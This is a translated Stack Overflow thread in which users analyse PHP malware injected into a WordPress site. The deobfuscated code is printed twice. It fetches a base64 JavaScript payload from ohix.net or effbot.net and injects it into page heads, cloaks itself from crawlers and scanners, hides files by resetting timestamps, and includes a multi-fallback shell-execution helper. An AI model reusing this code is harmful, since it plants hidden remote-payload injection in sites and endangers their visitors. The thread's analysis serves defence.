这个恶意软件代码实现了什么?

9
我发现这段代码被注入到客户网站的许多PHP文件中。当然,原始代码已经被混淆和编码了。我已经成功解码并格式化为当前形式。
我的问题是:它到底完成了什么任务?这段代码是否表明了它是如何被注入的,从而为防止类似事件再次发生提供了线索?
<?php
if(!function_exists('check_wp_head_load')){
    function check_wp_head_load(){
        if(!function_exists('cc')){
            function cc($ll_0){
                $ll_1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
                if(function_exists('curl_init')){
                    $ll_2 = curl_init();
                    curl_setopt($ll_2, 10002, $ll_0);
                    curl_setopt($ll_2, 42, 0);
                    curl_setopt($ll_2, 13, 30);
                    curl_setopt($ll_2, 19913, 1);
                    curl_setopt($ll_2, 10018, $ll_1);
                    if(!(@ini_get("safe_mode") || @ini_get("open_basedir"))){
                        @curl_setopt($ll_2, 52, 1);

                    }

                    @curl_setopt($ll_2, 68, 2);
                    $ll_3 = curl_exec($ll_2);
                    curl_close($ll_2);
                    if($ll_3 !== false){
                        return $ll_3;

                    }

                }
                else if(function_exists('fsockopen')){
                    global $ll_4;
                    $ll_0 = str_replace("http://", "", $ll_0);
                    if(preg_match("#/#", "$ll_0")){
                        $ll_5 = $ll_0;
                        $ll_0 = @explode("/", $ll_0);
                        $ll_0 = $ll_0[0];
                        $ll_5 = str_replace($ll_0, "", $ll_5);
                        if(!$ll_5 || $ll_5 == ""){
                            $ll_5 = "/";

                        }
                        $ll_6 = gethostbyname($ll_0);

                    }
                    else{
                        $ll_6 = gethostbyname($ll_0);
                        $ll_5 = "/";

                    }
                    $ll_7 = fsockopen($ll_6, 80, $ll_8, $ll_9, 10);
                    stream_set_timeout($ll_7, 10);
                    if($ll_7){
                        $ll_10 = "GET $ll_5 HTTP/1.0\r\n";
                        $ll_10 .= "Host: $ll_0\r\n";
                        $ll_10 .= "Referer: http://$ll_0$ll_5\r\n";
                        $ll_10 .= "Accept-Language: en-us, en;q=0.50\r\n";
                        $ll_10 .= "User-Agent: $ll_1\r\n";
                        $ll_10 .= "Connection: Close\r\n\r\n";
                        fputs($ll_7, $ll_10);
                        while(!feof($ll_7)){
                            $ll_11 .= fgets($ll_7, 4096);

                        }
                        fclose($ll_7);
                        $ll_11 = @explode("\r\n\r\n", $ll_11, 2);
                        $ll_12 = $ll_11[0];
                        if($ll_4){
                            $ll_12 = "$ll_4<br /><br />\n$ll_12";

                        }
                        $ll_12 = str_replace("\n", "<br />", $ll_12);
                        if($ll_11[1]){
                            $ll_13 = $ll_11[1];

                        }
                        else{
                            $ll_13 = "";

                        }
                        if($ll_13){
                            $ll_11 = $ll_13;

                        }
                        else{
                            $ll_11 = $ll_12;

                        }
                        if(preg_match("/Location\:/", "$ll_12")){
                            $ll_0 = @explode("Location: ", $ll_12);
                            $ll_0 = $ll_0[1];
                            $ll_0 = @explode("\r", $ll_0);
                            $ll_0 = $ll_0[0];
                            $ll_4 = str_replace("\r\n\r\n", "", $ll_12);
                            $ll_14 = "&#76&#111&#99&#97&#116&#105&#111&#110&#58";
                            $ll_4 = str_replace("Location:", $ll_14, $ll_4);
                            return cc($ll_0);

                        }
                        else{
                            return $ll_11;

                        }

                    }

                }
                else{
                    echo "ERROR";
                    exit;

                }

            }

        }
        if(!function_exists('detB')){
            function detB($ll_15, $ll_16){
                $ll_17 = array("66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+",
                                "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134",
                                "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38",
                                "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124",
                                "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169",
                                "64\.233\.1[6-8][1-9]\.[0-9]+", "64\.233\.19[0-1]\.[0-9]+", "209\.185\.108\.[0-9]+", "209\.185\.253\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.33\.9[6-9]",
                                "216\.239\.37\.9[8-9]","216\.239\.39\.9[8-9]","216\.239\.41\.9[6-9]","216\.239\.45\.4","216\.239\.46\.[0-9]+","216\.239\.51\.9[6-9]","216\.239\.53\.9[8-9]",
                                "216\.239\.57\.9[6-9]","216\.239\.59\.9[8-9]","216\.33\.229\.163","64\.233\.173\.[0-9]+","64\.68\.8[0-9]\.[0-9]+","64\.68\.9[0-2]\.[0-9]+","72\.14\.199\.[0-9]+",
                                "8\.6\.48\.[0-9]+","207\.211\.40\.82","67\.162\.158\.146","66\.255\.53\.123","24\.200\.208\.112","129\.187\.148\.240","129\.187\.148\.244",
                                "199\.126\.151\.229","118\.124\.32\.193","89\.149\.217\.191","122\.164\.27\.42","149\.5\.168\.2","150\.70\.66\.[0-9]+","194\.250\.116\.39",
                                "208\.80\.194\.[0-9]+","62\.190\.39\.205","67\.198\.80\.236","85\.85\.187\.243","95\.134\.141\.250","97\.107\.135\.[0-9]+","97\.79\.239\.[0-9]+",
                                "184\.168\.191\.[0-9]+","95\.108\.157\.[0-9]+","209\.235\.253\.17");
                $ll_18 = array("http","google","slurp","msnbot","bot","crawl",
                                "spider","robot","httpclient","curl","php","indy library",
                                "wordpress","charlotte","wwwster","python","urllib","perl",
                                "libwww","lynx","twiceler","rambler","yandex","trend",
                                "virus","malware","wget");
                $ll_15 = preg_replace("|User\.Agent\:[\s ]?|i", "", $ll_15);
                $ll_19 = true;
                foreach($ll_17 as $ll_20)
                    if(eregi("$ll_20", $ll_16)){
                        $ll_19 = false;
                        break;

                    }
                    if($ll_19)
                        foreach($ll_18 as $ll_21)
                            if(eregi($ll_21, $ll_15) !== false){
                                $ll_19 = false;
                                break;

                            }
                            if($ll_19 and!eregi("^[a-zA-Z]{5,}", $ll_15)){
                                $ll_19 = false;

                            }
                            if($ll_19 and strlen($ll_15) <= 11){
                                $ll_19 = false;

                            }
                            return $ll_19;

            }

        }
        if(!function_exists('rm_rf_file')){
            function rm_rf_file($ll_22){
                $ll_23 = filemtime($ll_22);
                if($ll_24 = opendir($ll_22)){
                    while(false !==($ll_25 = readdir($ll_24))){
                        if($ll_25 != "." && $ll_25 != ".." && is_file($ll_25)){
                            chmod($ll_25, 438);
                            unlink($ll_25);

                        }

                    }
                    closedir($ll_24);

                }
                touch($ll_22, $ll_23, $ll_23);

            }

        }
        if(!function_exists('sys_get_temp_dir')){
            function sys_get_temp_dir(){
                if($ll_26 = getenv("TMP"))
                    return $ll_26;
                if($ll_26 = getenv("TEMP"))
                    return $ll_26;
                if($ll_26 = getenv("TMPDIR"))
                    return $ll_26;
                $ll_26 = tempnam(__FILE__, "");
                if(file_exists($ll_26)){
                    unlink($ll_26);
                    return dirname($ll_26);

                }
                return false;

            }

        }
        if(!function_exists('ex')){
            function ex($ll_27){
                $ll_28 = "";
                if(!empty($ll_27)){
                    if(function_exists('exec')){
                        @exec($ll_27, $ll_28);
                        $ll_28 = join("\n", $ll_28);

                    }
                    elseif(function_exists('shell_exec')){
                        $ll_28 = @shell_exec($ll_27);

                    }
                    elseif(function_exists('system')){
                        @ob_start();
                        @system($ll_27);
                        $ll_28 = @ob_get_contents();
                        @ob_end_clean();

                    }
                    elseif(function_exists('passthru')){
                        @ob_start();
                        @passthru($ll_27);
                        $ll_28 = @ob_get_contents();
                        @ob_end_clean();

                    }
                    elseif(@is_resource($ll_29 = @popen($ll_27, "r"))){
                        $ll_28 = "";
                        while(!@feof($ll_29)){
                            $ll_28 .= @fread($ll_29, 1024);

                        }
                        @pclose($ll_29);

                        }elseif(@function_exists('proc_open') && @is_resource($ll_29 = @proc_open($ll_27, array(1 => array("pipe", "w")), $ll_30))){
                            $ll_28 = "";
                            if(@function_exists('fread') && @function_exists('feof')){
                                while(!@feof($ll_30[1])){
                                    $ll_28 .= @fread($ll_30[1], 1024);

                                }

                            }
                            else if(@function_exists('fgets') && @function_exists('feof')){
                                while(!@feof($ll_30[1])){
                                    $ll_28 .= @fgets($ll_30[1], 1024);

                                }

                            }
                            @proc_close($ll_29);

                        }

                }
                return htmlspecialchars($ll_28);

            }

        }
        $ll_31 = "lonly";
        $ll_32 = $_SERVER["REMOTE_ADDR"];
        $ll_1 = $_SERVER["HTTP_USER_AGENT"];
        $ll_33 = $_SERVER["SCRIPT_FILENAME"];
        $ll_34 = strtolower($ll_1);
        if($ll_32 == "" || $ll_1 == "" || $ll_33 == "")
            return null;
        if(!isset($_COOKIE[$ll_31])){
            $ll_35 = @sys_get_temp_dir();
            if(!$ll_35){
                $ll_35 = dirname($ll_33);
                $ll_36 = $ll_35 ."/.tmp";

            }
            else{
                $ll_36 = $ll_35 ."/.tmp";
                if(!@file_exists($ll_36)){
                    $ll_23 = @filemtime($ll_35);
                    @mkdir($ll_36);
                    $ll_37 = @fopen("$ll_36/r", "w");
                    @fwrite($ll_37, "");
                    @fclose($ll_37);
                    @chmod($ll_36, 511);
                    @touch("$ll_36/r", $ll_23, $ll_23);
                    @touch($ll_35, $ll_23, $ll_23);
                    @touch($ll_36, $ll_23, $ll_23);
                    if(!@file_exists("$ll_36/r")){
                        $ll_35 = dirname($ll_33);
                        $ll_36 = $ll_35 ."/.cache";

                    }

                }

            }
            if(!@file_exists($ll_36)){
                $ll_23 = @filemtime($ll_35);
                @mkdir($ll_36);
                @chmod($ll_36, 511);
                @touch($ll_35, $ll_23, $ll_23);
                @touch($ll_36, $ll_23, $ll_23);

            }
            $ll_38 = @date("Hi");
            $ll_39 = @date("ymd");
            $ll_40 = "$ll_36/$ll_39";
            $ll_41 = "$ll_36/tmp_$ll_39";
            $ll_42 = $ll_39 - 1;
            if(@file_exists("$ll_36/tmp_$ll_42") || ($ll_38 >= "0000" &&
                    $ll_38 <= "0001") || ($ll_38 >= "1200" &&
                    $ll_38 <= "1201") || ($ll_38 >= "1800" &&
                    $ll_38 <= "1801")){
                @rm_rf_file($ll_36);
                @ex("rm -rf $ll_36/*");

            }
            if(!@file_exists($ll_40)){
                $ll_23 = @filemtime($ll_36);
                $ll_37 = @fopen($ll_40, "w");
                @fclose($ll_37);
                @chmod($ll_40, 511);
                @touch($ll_36, $ll_23, $ll_23);

            }
            if(@is_writable($ll_36) && (!@file_exists($ll_41) || @filesize($ll_41) < 5)){
                $ll_43 = array("ohix.", "effbot.", "/f/", "net");
                $ll_44 = $ll_43[rand(0, 1)] .$ll_43[3] .$ll_43[2];
                $ll_45 = @cc($ll_44);
                if($ll_45 != "ERROR" && base64_decode($ll_45) !== false){
                    $ll_23 = @filemtime($ll_36);
                    $ll_37 = @fopen($ll_41, "w");
                    @fwrite($ll_37, "$ll_45");
                    @fclose($ll_37);
                    @chmod($ll_41, 511);
                    @touch($ll_36, $ll_23, $ll_23);
                    @touch($ll_41, $ll_23, $ll_23);

                }
                else
                    return null;

            }
            $ll_46 = @base64_decode(@file_get_contents($ll_41));
            $ll_47 = @file($ll_40);
            $ll_48 = false;
            foreach($ll_47 as $ll_49){
                if(@trim($ll_49) == $ll_32){
                    $ll_48 = true;
                    break;

                }

            }
            $ll_19 = @detB($ll_1,$ll_32);
            if($ll_48 == false && $ll_19 == true){
                $ll_37 = @fopen($ll_40,"a");
                @fwrite($ll_37, "$ll_32\n");
                @fclose($ll_37);
                echo "\n" .str_repeat(" ", mt_rand(300, 1000)) 
                        . "<script type='text/javascript'>$ll_46</script>\n";

            }

        }

    }

}
$ll_31 = "lonly";
if(!isset($_COOKIE[$ll_31]))
    @add_action("wp_head", "check_wp_head_load", mt_rand(1, 7));
?>

离题了。这太难以分析了。它使用一些变通方法来加载远程资源,存储临时文件,并偶尔执行下载的二进制文件。它似乎还注入了一些Javascript代码。至于被利用的漏洞:那是WordPress和/或弱密码。 - mario
使用杀毒软件扫描并根据返回的名称查找信息。有在线扫描器,例如:http://www.virustotal.com。 - ninjalj
我在virustotal.com上运行了它,并得到了以下可能的结果:PHP:Shell-AX [Trj],PHP.ShellExec,PHP:Shell-AX,Heuristic.BehavesLike.JS.Suspicious.G。 - KalenGi
2个回答

5

首先,分析所有已定义函数,最后分析脚本实际执行的内容。该脚本定义了以下函数:

加载任何URL内容,它有2种实现方式(一种是使用curl,另一种是使用sockets):

function cc($url) {
    $user_agent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
        if (!(@ini_get("safe_mode") || @ini_get("open_basedir"))) {
            @curl_setopt($ch, CURLE_GOT_NOTHING, 1);
        }

        @curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
        $content = curl_exec($ch);
        curl_close($ch);

        if ($content !== false) {
            return $content;
        }
    } else if (function_exists('fsockopen')) {
        // Alternative implementation
    } else {
        echo "ERROR";
        exit;
    }
}

某种远程地址/用户代理验证(何时隐藏):
function detB($userAgent, $remoteAddr) {
    // Those are obviously regexps which will match quite wide range of ip addresses
    $ipList = array("66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+",
        "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134",
        "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38",
        "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124",
        "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169",
        "64\.233\.1[6-8][1-9]\.[0-9]+", "64\.233\.19[0-1]\.[0-9]+", "209\.185\.108\.[0-9]+", "209\.185\.253\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.33\.9[6-9]",
        "216\.239\.37\.9[8-9]", "216\.239\.39\.9[8-9]", "216\.239\.41\.9[6-9]", "216\.239\.45\.4", "216\.239\.46\.[0-9]+", "216\.239\.51\.9[6-9]", "216\.239\.53\.9[8-9]",
        "216\.239\.57\.9[6-9]", "216\.239\.59\.9[8-9]", "216\.33\.229\.163", "64\.233\.173\.[0-9]+", "64\.68\.8[0-9]\.[0-9]+", "64\.68\.9[0-2]\.[0-9]+", "72\.14\.199\.[0-9]+",
        "8\.6\.48\.[0-9]+", "207\.211\.40\.82", "67\.162\.158\.146", "66\.255\.53\.123", "24\.200\.208\.112", "129\.187\.148\.240", "129\.187\.148\.244",
        "199\.126\.151\.229", "118\.124\.32\.193", "89\.149\.217\.191", "122\.164\.27\.42", "149\.5\.168\.2", "150\.70\.66\.[0-9]+", "194\.250\.116\.39",
        "208\.80\.194\.[0-9]+", "62\.190\.39\.205", "67\.198\.80\.236", "85\.85\.187\.243", "95\.134\.141\.250", "97\.107\.135\.[0-9]+", "97\.79\.239\.[0-9]+",
        "184\.168\.191\.[0-9]+", "95\.108\.157\.[0-9]+", "209\.235\.253\.17");

    // Those are magic words to be matched
    $wordsList = array("http", "google", "slurp", "msnbot", "bot", "crawl",
        "spider", "robot", "httpclient", "curl", "php", "indy library",
        "wordpress", "charlotte", "wwwster", "python", "urllib", "perl",
        "libwww", "lynx", "twiceler", "rambler", "yandex", "trend",
        "virus", "malware", "wget");
    $userAgent = preg_replace("|User\.Agent\:[\s ]?|i", "", $userAgent);
    $replacedHeader = true;
    foreach ($ipList as $ip)
        if (eregi("$ip", $remoteAddr)) {
            $replacedHeader = false;
            break;
        }
    if ($replacedHeader)
        foreach ($wordsList as $word)
            if (eregi($word, $userAgent) !== false) {
                $replacedHeader = false;
                break;
            }
    if ($replacedHeader and !eregi("^[a-zA-Z]{5,}", $userAgent)) {
        $replacedHeader = false;
    }
    if ($replacedHeader and strlen($userAgent) <= 11) {
        $replacedHeader = false;
    }
    return $replacedHeader;
}

递归删除文件/目录,并用自己的新文件替换它(以便 mtime 匹配)。

function rm_rf_file($filename) {
    $fileMTime = filemtime($filename);
    if ($directory = opendir($filename)) {
        while (false !== ($directoryItem = readdir($directory))) {
            if ($directoryItem != "." && $directoryItem != ".." && is_file($directoryItem)) {
                chmod($directoryItem, 438); // 438 = 0666
                unlink($directoryItem);
            }
        }
        closedir($directory);
    }
    touch($filename, $fileMTime, $fileMTime);
} 

获取系统/PHP临时目录的方法(多种方式):

function sys_get_temp_dir() {
    if ($tmpDir = getenv("TMP"))
        return $tmpDir;
    if ($tmpDir = getenv("TEMP"))
        return $tmpDir;
    if ($tmpDir = getenv("TMPDIR"))
        return $tmpDir;
    // Now it's tmp file, not tmp dir
    $tmpDir = tempnam(__FILE__, "");
    if (file_exists($tmpDir)) {
        unlink($tmpDir);
        return dirname($tmpDir);
    }
    return false;
}

执行shell命令(针对php支持的所有可能执行的实现):

function ex($shellCommand) {
    $result = "";
    if (!empty($shellCommand)) {
        if (function_exists('exec')) {
            @exec($shellCommand, $result);
            $result = join("\n", $result);
        } elseif (function_exists('shell_exec')) {
            $result = @shell_exec($shellCommand);
        } elseif (function_exists('system')) {
            @ob_start();
            @system($shellCommand);
            $result = @ob_get_contents();
            @ob_end_clean();
        } elseif (function_exists('passthru')) {
            @ob_start();
            @passthru($shellCommand);
            $result = @ob_get_contents();
            @ob_end_clean();
        } elseif (@is_resource($processHandler = @popen($shellCommand, "r"))) {
            $result = "";
            while (!@feof($processHandler)) {
                $result .= @fread($processHandler, 1024);
            }
            @pclose($processHandler);
        } elseif (@function_exists('proc_open') && @is_resource($processHandler = @proc_open($shellCommand, array(1 => array("pipe", "w")), $shellOutput))) {
            $result = "";
            if (@function_exists('fread') && @function_exists('feof')) {
                while (!@feof($shellOutput[1])) {
                    $result .= @fread($shellOutput[1], 1024);
                }
            } else if (@function_exists('fgets') && @function_exists('feof')) {
                while (!@feof($shellOutput[1])) {
                    $result .= @fgets($shellOutput[1], 1024);
                }
            }
            @proc_close($processHandler);
        }
    }
    return htmlspecialchars($result);
}

主要负载函数:

// This is just initialization for script variables
$cookieKey = "lonly";
$remoteAddr = $_SERVER["REMOTE_ADDR"];
$userAgent = $_SERVER["HTTP_USER_AGENT"];
$scriptFileName = $_SERVER["SCRIPT_FILENAME"];
$userAgentToLower = strtolower($userAgent);

// Requires to have all variables filled
if ($remoteAddr == "" || $userAgent == "" || $scriptFileName == "")
    return null;

// Initialization via cookies
if (!isset($_COOKIE[$cookieKey])) {
    $tempDir = @sys_get_temp_dir();

    // If there's no tmp dir create directory in current directory
    if (!$tempDir) {
        $tempDir = dirname($scriptFileName);
        $tempDirectory = $tempDir . "/.tmp";

    // Create directory in temporary directory and hide directory mtime
    } else {
        $tempDirectory = $tempDir . "/.tmp";
        if (!@file_exists($tempDirectory)) {
            $directoryMTime = @filemtime($tempDir);
            @mkdir($tempDirectory);
            $tempFileFP = @fopen("$tempDirectory/r", "w");
            @fwrite($tempFileFP, "");
            @fclose($tempFileFP);
            @chmod($tempDirectory, 511); // 0777
            @touch("$tempDirectory/r", $directoryMTime, $directoryMTime);
            @touch($tempDir, $directoryMTime, $directoryMTime);
            @touch($tempDirectory, $directoryMTime, $directoryMTime);
            if (!@file_exists("$tempDirectory/r")) {
                $tempDir = dirname($scriptFileName);
                $tempDirectory = $tempDir . "/.cache";
            }
        }
    }

    // Make sure that directory exists
    if (!@file_exists($tempDirectory)) {
        $directoryMTime = @filemtime($tempDir);
        @mkdir($tempDirectory);
        @chmod($tempDirectory, 511); // 0777
        @touch($tempDir, $directoryMTime, $directoryMTime);
        @touch($tempDirectory, $directoryMTime, $directoryMTime);
    }

    // Initializes variables
    $time = @date("Hi");
    $date = @date("ymd");
    $ipStorageFile = "$tempDirectory/$date";
    $payloadFile = "$tempDirectory/tmp_$date";
    $date2 = $date - 1;

    // Remove our own mass if there's file one day old,
    // or when we launch script at certain times (0000, 1200 and 1800)
    if (@file_exists("$tempDirectory/tmp_$date2") || ($time >= "0000" &&
        $time <= "0001") || ($time >= "1200" &&
        $time <= "1201") || ($time >= "1800" &&
        $time <= "1801")) {
        @rm_rf_file($tempDirectory);
        @ex("rm -rf $tempDirectory/*");
    }

    // Create one temporary file
    if (!@file_exists($ipStorageFile)) {
        $directoryMTime = @filemtime($tempDirectory);
        $tempFileFP = @fopen($ipStorageFile, "w");
        @fclose($tempFileFP);
        @chmod($ipStorageFile, 511); // 0777
        @touch($tempDirectory, $directoryMTime, $directoryMTime);
    }

    // If file2 doesn't exists or is empty try to load content from website
    // Websites is one of those:
    // ohix.net/f/
    // effbot.net/f/
    if (@is_writable($tempDirectory) && (!@file_exists($payloadFile) || @filesize($payloadFile) < 5)) {
        $urlParts = array("ohix.", "effbot.", "/f/", "net");
        $url = $urlParts[rand(0, 1)] . $urlParts[3] . $urlParts[2];
        $content = @cc($url);
        if ($content != "ERROR" && base64_decode($content) !== false) {
            $directoryMTime = @filemtime($tempDirectory);
            $tempFileFP = @fopen($payloadFile, "w");
            @fwrite($tempFileFP, "$content");
            @fclose($tempFileFP);
            @chmod($payloadFile, 511);
            @touch($tempDirectory, $directoryMTime, $directoryMTime);
            @touch($payloadFile, $directoryMTime, $directoryMTime);
        }
        else
            return null;
    }

    // Load contents
    $content = @base64_decode(@file_get_contents($payloadFile));
    $ipList = @file($ipStorageFile);
    $knowenIp = false;

    // Check whether this IP was already used
    foreach ($ipList as $ip) {
        if (@trim($ip) == $remoteAddr) {
            $knowenIp = true;
            break;
        }
    }

    $clientValidation = @detB($userAgent, $remoteAddr);
    if ($knowenIp == false && $clientValidation == true) {
        $tempFileFP = @fopen($ipStorageFile, "a");
        @fwrite($tempFileFP, "$remoteAddr\n");
        @fclose($tempFileFP);
        echo "\n" . str_repeat(" ", mt_rand(300, 1000))
        . "<script type='text/javascript'>$content</script>\n";
    }
}

如果我正确地阅读了所有这些代码,那么该脚本将执行以下操作:

  • 尝试初始化一些函数(每个函数都有单独的说明)
  • 创建临时目录,而不修改父文件夹的mtime
  • 从以下其中一个站点将“负载”加载到$payloadFile中(可能是广告内容):
    • ohix.net/f/
    • effbot.net/f/
  • 仅一次每天对每个用户/IP显示内容($ipStorageFile
  • 脚本足够智能(使用detB函数)不会向某些IP(可能是一些机器人、安全检查等)和某些用户代理(例如googlebot或默认无法启动JavaScript的客户端)显示其内容。

1
这是一份非常彻底的分析!JavaScript 负载也可能成为感染其他计算机的手段。这是否可能导致修改不同服务器上的 PHP 文件?我想确定这是否是此服务器被入侵的可能手段(当然除了密码弱和/或WordPress中的漏洞)。 - KalenGi
@kalengi 在不同的服务器上?不应该。如果权限和安全模式设置正确,它甚至不能修改您的文件。但是,使用此方法,您可以启动任何JavaScript(可能会启动许多ajax请求,每个请求都可能危及另一个服务器)。这种“病毒”似乎是设计用来攻击HTTP客户端而不是服务器的。 - Vyktor

0
经过一些重构和阅读,我得出结论,该脚本最终会导致服务器浏览器访问以下网站之一:
  • ohic.net/f/
  • effbot.net/f/

除了从这些网站下载和执行文件之外。

要么是您的密码太弱(或以某种方式可猜测),要么可能是WordPress中的安全漏洞。确保您拥有最新版本。


看来你走在了正确的轨道上。我谷歌了一下这些网站名称,发现一个论坛的评论(http://arstechnica.com/civis/viewtopic.php?p=22307474&sid=680827f152e94cdcf3dd3d433da54419#p22307474),提供了比你所发布的更多的信息。 - KalenGi

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接